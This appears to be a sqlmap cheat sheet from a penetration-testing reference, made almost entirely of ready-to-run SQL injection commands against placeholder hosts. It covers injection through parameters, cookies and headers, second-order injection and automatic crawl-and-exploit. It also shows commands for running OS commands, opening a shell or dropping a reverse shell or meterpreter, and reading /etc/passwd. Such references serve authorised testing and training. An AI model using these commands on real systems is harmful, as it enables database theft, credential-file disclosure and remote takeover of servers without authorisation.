Injection place

From Burp/ZAP capture

Capture the request and create a req.txt file

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections in Headers and other HTTP Methods

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicate string when injection is successful

--string="string_showed_when_TRUE"

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Read File

--file-read=/etc/passwd

Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Second Order Injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

****Read this post about how to perform simple and complex second order injections with sqlmap.

Customizing Injection

Set a suffix

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefix

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help finding boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Remember that you can create your own tamper in python and it's very simple. You can find a tamper example in the Second Order Injection page here.

#In kali you can see all the tampers in /usr/share/sqlmap/tamper
